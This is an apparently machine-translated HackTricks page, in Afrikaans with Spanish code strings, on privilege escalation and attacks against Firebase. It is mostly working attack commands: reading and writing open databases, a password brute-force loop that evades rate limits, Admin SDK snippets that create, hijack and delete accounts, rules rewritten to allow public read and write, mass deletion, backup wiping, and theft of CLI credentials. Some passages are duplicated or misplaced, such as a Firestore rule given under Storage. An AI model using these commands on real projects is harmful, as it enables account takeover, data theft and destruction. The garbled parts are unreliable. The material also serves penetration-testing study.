GCP - Firebase Privesc

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Kyk na die subscription plans!

Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.

Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.

Firebase

Unauthenticated access to Firebase Realtime Database

Die aanvaller het nie spesifieke Firebase-toestemmings nodig om hierdie aanval uit te voer nie. Dit vereis slegs dat daar ’n kwesbare konfigurasie in die Firebase Realtime Database se security rules is, waar die reëls gestel is met .read: true of .write: true, wat openbare lees- of skryftoegang toelaat.

Die aanvaller moet die databasis-URL identifiseer, wat gewoonlik die formaat volg: https://<project-id>.firebaseio.com/.

Hierdie URL kan gevind word deur mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), deur konfigurasielêers soos google-services.json (Android) of GoogleService-Info.plist (iOS) te ontleed, deur die bronkode van webtoepassings te inspekteer, of deur netwerkverkeer te ondersoek om versoeke na *.firebaseio.com domeine te identifiseer.

Die aanvaller identifiseer die databasis-URL en kontroleer of dit openbaar blootgestel is, en kry dan toegang tot die data en skryf moontlik kwaadwillige inligting.

Eerstens kontroleer hulle of die databasis lees toegang toelaat deur .json aan die URL te koppel.

curl https://<project-id>-default-rtdb.firebaseio.com/.json

As die respons JSON data of null bevat (in plaas van “Permission Denied”), laat die databasis read access toe. Om write access te kontroleer, kan die attacker probeer om ’n test write request te stuur met die Firebase REST API.

curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'

As die operasie slaag, laat die databasis ook write access toe.

Blootstelling van data in Cloud Firestore

Een aanvaller het nie enige spesifieke Firebase permissions nodig om hierdie aanval uit te voer nie. Dit vereis slegs dat daar ’n kwesbare konfigurasie in die Cloud Firestore security rules is waar die reëls read or write access toelaat sonder authentication of met onvoldoende validation. ’n Voorbeeld van ’n verkeerd gekonfigureerde reël wat volledige toegang verleen, is:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Hierdie reël laat enigiemand toe om alle dokumente te lees en te skryf sonder enige beperkings. Firestore-reëls is gedetailleerd en geld per versameling en dokument, sodat ’n fout in ’n spesifieke reël moontlik net sekere versamelings blootstel.

Die aanvaller moet die Firebase Project ID identifiseer, wat gevind kan word deur mobiele app reverse engineering, analise van konfigurasielêers soos google-services.json of GoogleService-Info.plist, inspeksie van die bronkode van webtoepassings, of analise van netwerkverkeer om versoeke na firestore.googleapis.com te identifiseer. Die Firestore REST API gebruik die formaat:

https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

As die reëls unauthenticated read access toelaat, kan die aanvaller collections en documents lees. Eerstens probeer hulle toegang tot ’n spesifieke collection:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>

As die response JSON documents bevat in plaas van ’n permission error, is die collection blootgestel. Die attacker kan alle toeganklike collections enumerate deur algemene name te probeer of deur die struktuur van die toepassing te ontleed. Om toegang tot ’n spesifieke document:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

As die reëls unauthenticated write access toelaat of onvoldoende validasie het, kan die aanvaller nuwe dokumente skep:

curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'

Om ’n bestaande dokument te wysig, moet PATCH gebruik word:

curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'

Om ’n dokument te verwyder en ’n ontkenning van diens te veroorsaak:

curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Blootstelling van lêers in Firebase Storage

’n Aanvaller het geen spesifieke Firebase-toestemmings nodig om hierdie aanval uit te voer nie. Dit vereis slegs dat daar ’n kwesbare konfigurasie in die Firebase Storage sekuriteitsreëls is waarin die reëls lees- of skryf-toegang toelaat sonder outentisering of met onvoldoende validering. Storage-reëls beheer lees- en skryf-toestemmings onafhanklik, so ’n fout in ’n reël kan slegs lees-toegang, slegs skryf-toegang, of beide blootstel. ’n Voorbeeld van ’n foutief gekonfigureerde reël wat volle toegang verleen, is:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Hierdie reël laat lees- en skryftoegang tot alle dokumente toe sonder enige beperkings. Firestore rules is gedetailleerd en word per versameling en per dokument toegepas, sodat ’n fout in ’n spesifieke reël slegs sekere versamelings kan blootstel. Die aanvaller moet die Firebase Project ID identifiseer, wat gevind kan word deur mobile application reverse engineering, ontleding van konfigurasielêers soos google-services.json of GoogleService-Info.plist, inspeksie van webtoepassing se bronkode, of netwerkverkeer-ontleding om versoeke na firestore.googleapis.com te identifiseer.

Die Firestore REST API gebruik die formaat:https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.

As die reëls ongeauthentiseerde lees-toegang toelaat, kan die aanvaller versamelings en dokumente lees. Eerstens probeer hulle toegang tot ’n spesifieke versameling kry.

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"

As die antwoord die lys van lêers bevat in plaas van ’n toestemmingsfout, is die lêer blootgestel. Die aanvaller kan die inhoud van die lêers sien deur hul pad te spesifiseer:

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"

As die reëls ongemagtigde skryf-toegang toelaat of onvoldoende validering het, kan die aanvaller kwaadwillige lêers oplaai. Om ’n lêer deur die REST API op te laai:

curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>

Die aanvaller kan code shells, malware payloads, of groot lêers oplaai om ’n denial of service te veroorsaak. As die toepassing geüploade lêers verwerk of uitvoer, kan die aanvaller remote code execution bereik. Om lêers te verwyder en ’n denial of service te veroorsaak:

curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"

Aanroeping van openbare Firebase Cloud Functions

’n Aanvaller het nie enige spesifieke Firebase-permissies nodig om hierdie probleem te misbruik nie; dit vereis slegs dat ’n Cloud Function openbaar toeganklik is oor HTTP sonder verifikasie.

’n Funksie is kwesbaar wanneer dit onveilig gekonfigureer is:

Dit gebruik functions.https.onRequest, wat nie verifikasie afdwing nie (anders as onCall functions).
Die funksie se kode valideer nie gebruikersverifikasie nie (bv. geen kontroles vir request.auth of context.auth).
Die funksie is publieklik toeganklik in IAM, wat beteken allUsers het die roles/cloudfunctions.invoker rol. Dit is die standaardgedrag vir HTTP functions tensy die ontwikkelaar toegang beperk.

Firebase HTTP Cloud Functions word blootgestel deur URL’s soos:

https://<region>-<project-id>.cloudfunctions.net/<function-name>
https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)

’n Aanvaller kan hierdie URL’s ontdek deur bronkode-analise, netwerkverkeer-inspeksie, enumerasie-instrumente, of mobile app reverse engineering. As die funksie publieklik blootgestel en sonder verifikasie is, kan die aanvaller dit direk aanroep sonder geloofsbriewe.

# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'

As die funksie nie invoer behoorlik valideer nie, kan die attacker ander attacks probeer, soos code injection of command injection.

Brute-force attack against Firebase Authentication met ’n swak wagwoordbeleid

An attacker does not need any specific Firebase permissions to carry out this attack. Dit vereis slegs dat die Firebase API Key in mobiele of webtoepassings blootgestel is, en dat die wagwoordbeleid nie strenger vereistes as die standaard ingestel het nie.

The attacker must identify the Firebase API Key, which can be found through mobile app reverse engineering, analysis of configuration files such as google-services.json or GoogleService-Info.plist, inspecting the source code of web applications (e.g., in bootstrap.js), or analyzing network traffic.

Firebase Authentication’s REST API uses the endpoint: https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY> to authenticate with e-pos en wagwoord.

If Email Enumeration Protection is disabled, API error responses can reveal whether an email exists in the system (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), which allows attackers to enumerate users before attempting password guessing. When this protection is enabled, the API returns the same error message for both nonexistent emails and incorrect passwords, preventing user enumeration.

Dit is belangrik om daarop te let dat Firebase Authentication rate limiting afdwing, wat versoeke kan blokkeer as te veel autentikasiepogings in ’n kort tyd plaasvind. As gevolg hiervan sal ’n attacker vertragings tussen pogings moet inbou om te verhoed dat versoeke rate-limited word.

The attacker identifies the API Key and performs authentication attempts with multiple passwords against known accounts. If Email Enumeration Protection is disabled, the attacker can enumerate existing users by analyzing the error responses:

# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'

As die antwoord EMAIL_NOT_FOUND bevat, bestaan die e-pos nie in die stelsel nie. As dit INVALID_PASSWORD bevat, bestaan die e-pos wel, maar die wagwoord is verkeerd, wat bevestig dat die gebruiker geregistreer is. Sodra ’n geldige gebruiker geïdentifiseer is, kan die attacker brute-force-pogings uitvoer. Dit is belangrik om pouses tussen pogings in te sluit om Firebase Authentication se rate-limiting mechanisms te vermy:

counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")

if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi

# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done

Met die standaard wagwoordbeleid (minimum 6 karakters, geen kompleksiteitsvereistes), kan die aanvaller alle moontlike kombinasies van 6-karakter wagwoorde probeer, wat ’n relatief klein soekruimte verteenwoordig in vergelyking met strenger wagwoordbeleid.

Gebruikerbestuur in Firebase Authentication

Die aanvaller benodig spesifieke Firebase Authentication-magtigings om hierdie aanval uit te voer. Die vereiste magtigings is:

firebaseauth.users.create om gebruikers te skep
firebaseauth.users.update om bestaande gebruikers te wysig
firebaseauth.users.delete om gebruikers te verwyder
firebaseauth.users.get om gebruiker-inligting op te haal
firebaseauth.users.sendEmail om e-posse aan gebruikers te stuur
firebaseauth.users.createSession om gebruikersessies te skep

Hierdie magtigings is ingesluit in die roles/firebaseauth.admin rol, wat volledige lees/skryf toegang tot Firebase Authentication-hulpbronne verleen. Hulle is ook ingesluit in hoëvlak rolle soos roles/firebase.developAdmin (wat alle firebaseauth.* magtigings insluit) en roles/firebase.admin (volledige toegang tot alle Firebase-dienste).

Om die Firebase Admin SDK te gebruik, sou die aanvaller toegang tot service account credentials (JSON file) nodig hê, wat moontlik op gekompromitteerde stelsels, publieklik blootgestelde kode-repositorieë, gekompromitteerde CI/CD-stelsels, of deur die kompromittering van ontwikkelaarrekeninge wat toegang tot hierdie credentials het, gevind kan word.

Die eerste stap is om die Firebase Admin SDK te konfigureer met service account credentials.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Om ’n kwaadwillige gebruiker te skep wat ’n slagoffer se e-posadres gebruik, sal die aanvaller probeer om die Firebase Admin SDK te gebruik om ’n nuwe rekening onder daardie e-pos te genereer.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Om ’n bestaande gebruiker te wysig, sal die aanvaller velde soos die e-posadres, verifikasiestatus of die rekening se gedeaktiveer-status bywerk.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Om ’n user account te verwyder en ’n denial of service te veroorsaak, sou die attacker ’n versoek uitstuur om die user heeltemal te verwyder.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

Die aanvaller kan ook inligting oor bestaande gebruikers verkry deur hul UID of e-posadres te versoek.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

Boonop kan die aanvaller verification links of password-reset links genereer om ’n gebruiker se wagwoord te verander en toegang tot hul rekening te kry.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Gebruikersbestuur in Firebase Authentication

’n Aanvaller het spesifieke Firebase Authentication-magtigings nodig om hierdie aanval uit te voer. Die vereiste magtigings is:

firebaseauth.users.create om gebruikers te skep
firebaseauth.users.update om bestaande gebruikers te wysig
firebaseauth.users.delete om gebruikers te verwyder
firebaseauth.users.get om gebruikersinligting te bekom
firebaseauth.users.sendEmail om e-posse aan gebruikers te stuur
firebaseauth.users.createSession om gebruikersessies te skep

Hierdie magtigings is ingesluit in die roles/firebaseauth.admin-rol, wat volle lees- en skryf-toegang tot Firebase Authentication-bronne verleen. Hulle is ook deel van hoërvlakrolle soos roles/firebase.developAdmin (wat alle firebaseauth.*-magtigings insluit) en roles/firebase.admin (volle toegang tot alle Firebase-dienste).

Om die Firebase Admin SDK te gebruik, sou die aanvaller toegang tot service account credentials (’n JSON-lêer) nodig hê, wat verkry kan word vanaf gekompromitteerde stelsels, publiek blootgestelde kodebergings, gekompromitteerde CI/CD-omgewings, of deur die kompromittering van ontwikkelaarrekeninge wat toegang tot hierdie credentials het.

Die eerste stap is om die Firebase Admin SDK te konfigureer met service account credentials.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Om ’n kwaadwillige gebruiker te skep wat die slagoffer se e-pos gebruik, sou die aanvaller probeer om ’n nuwe gebruikersrekening met daardie e-pos te skep en hul eie wagwoord en profielinligting toe te ken.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Om ’n bestaande gebruiker te wysig, sou die aanvaller velde soos die e-posadres, die verifikasiestatus of die vraag of die rekening gedeaktiveer is, verander.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Om ’n gebruikersrekening te verwyder—wat effektief ’n denial of service veroorsaak—sou die aanvaller ’n versoek stuur om daardie gebruiker permanent te verwyder.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

Die aanvaller kon ook inligting oor bestaande gebruikers bekom — soos hul UID of email — deur gebruikersbesonderhede op te vra, hetsy per UID of per emailadres.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

Daarbenewens kan die aanvaller verification links of password-reset links genereer, wat hulle in staat stel om die wagwoord van ’n gebruiker te verander en beheer oor die rekening te neem.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Aanpassing van sekuriteitsreëls in Firebase-dienste

Die aanvaller het spesifieke toestemmings nodig om sekuriteitsreëls te verander, afhangend van die diens. Vir Cloud Firestore en Firebase Cloud Storage is die vereiste toestemmings firebaserules.rulesets.create om rulesets te skep en firebaserules.releases.create om releases te ontplooi. Hierdie toestemmings is ingesluit in die rol roles/firebaserules.admin of in hoërvlakrolle soos roles/firebase.developAdmin en roles/firebase.admin. Vir Firebase Realtime Database is die vereiste toestemming firebasedatabase.instances.update.

Die aanvaller moet die Firebase REST API gebruik om die sekuriteitsreëls te verander. Eerstens moet die aanvaller ’n toegangstoken verkry deur service account credentials te gebruik. Om die toegangstoken te bekom:

gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)

Om Firebase Realtime Database-reëls te wysig:

curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'

Om Cloud Firestore rules te wysig, moet die aanvaller ’n ruleset skep en dit dan deploy:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

Die vorige kommando gee ’n ruleset-naam terug in die formaat projects//rulesets/. Om die nuwe weergawe te ontplooi, moet die release bygewerk word met ’n PATCH-versoek:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Om Firebase Cloud Storage rules te wysig:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

Die vorige opdrag gee ’n ruleset-naam terug in die formaat projects//rulesets/. Om die nuwe weergawe te ontplooi, moet die release met ’n PATCH-aanvraag opgedateer word:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Data-uittrekking en -manipulasie in Cloud Firestore

Cloud Firestore gebruik dieselfde infrastruktuur en toestemmingsisteem as Cloud Datastore, dus geld Datastore IAM-permissies direk vir Firestore. Om TTL-beleid te manipuleer, is die datastore.indexes.update-toestemming nodig. Om data uit te voer, is die datastore.databases.export-toestemming nodig. Om data te invoer, is die datastore.databases.import-toestemming nodig. Om massiewe databewissing uit te voer, is die datastore.databases.bulkDelete-toestemming nodig.

Vir rugsteun- en hersteloperasies is spesifieke toestemmings nodig:

datastore.backups.get en datastore.backups.list om beskikbare rugsteune te lys en besonderhede daarvan te bekom
datastore.backups.delete om rugsteune te verwyder
datastore.backups.restoreDatabase om ’n databasis vanaf ’n rugsteun te herstel
datastore.backupSchedules.create en datastore.backupSchedules.delete om rugsteunskedules te bestuur

Wanneer ’n TTL-beleid geskep word, word ’n aangewese eienskap gekies om entiteite te identifiseer wat vir uitwissing in aanmerking kom. Hierdie TTL-eienskap moet van die datum- en tydtipe wees. Die aanvaller kan ’n eienskap kies wat reeds bestaan of ’n eienskap aandui wat hulle later wil byvoeg. As die veld se waarde ’n datum in die verlede is, word die dokument vir onmiddellike uitwissing in aanmerking geneem. Die aanvaller kan die gcloud CLI gebruik om TTL-beleid te manipuleer.

# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl

Om data uit te voer en dit te exfiltrate, kan die aanvaller die gcloud CLI gebruik.

gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'

Om kwaadwillige data te importeer:

gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'

Om massale dataverwydering uit te voer en ’n denial of service te veroorsaak, kan die aanvaller die gcloud Firestore bulk-delete tool gebruik om hele versamelings te verwyder.

gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>

Vir backup- en restore-operasies kan die aanvaller geskeduleerde backups skep om die huidige toestand van die databasis vas te vang, bestaande backups lys, vanaf ’n backup restore om onlangse veranderinge oor te skryf, backups uit te vee om permanente dataverlies te veroorsaak, en geskeduleerde backups te verwyder. Om ’n daaglikse backup-skedule te skep wat onmiddellik ’n backup genereer:

gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>

Om van ’n spesifieke backup te restore, kan die aanvaller ’n nuwe database skep met die data wat in daardie backup voorkom. Die restore-operasie skryf die backup se data in ’n nuwe database, wat beteken dat ’n bestaande DATABASE_ID nie gebruik kan word nie.

gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>

Om ’n backup te verwyder en permanente dataverlies te veroorsaak:

gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>

Diefstal en misbruik van Firebase CLI credentials

An attacker benodig nie spesifieke Firebase-magtigings om hierdie aanval uit te voer nie, maar het wel toegang nodig tot die ontwikkelaar se plaaslike stelsel of tot die Firebase CLI credentials file. Hierdie credentials word gestoor in ’n JSON-lêer geleë by:

Linux/macOS: ~/.config/configstore/firebase-tools.json
Windows: C:\Users[User].config\configstore\firebase-tools.json

Hierdie lêer bevat authentication tokens, insluitend die refresh_token en access_token, wat die attacker toelaat om as die gebruiker wat oorspronklik firebase login uitgevoer het, te outentiseer.

Die attacker verkry toegang tot die Firebase CLI credentials file. Hulle kan dan die hele lêer na hul eie stelsel kopieer, en die Firebase CLI sal outomaties die credentials vanaf sy default location gebruik. Nadat hulle dit gedoen het, kan die attacker alle Firebase projects wat vir daardie gebruiker toeganklik is, sien.

firebase projects:list

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Kyk na die subscription plans!

Sluit aan by die 💬 Discord group of die telegram group of volg ons op Twitter 🐦 @hacktricks_live.

Deel hacking tricks deur PRs in te dien by die HackTricks en HackTricks Cloud github repos.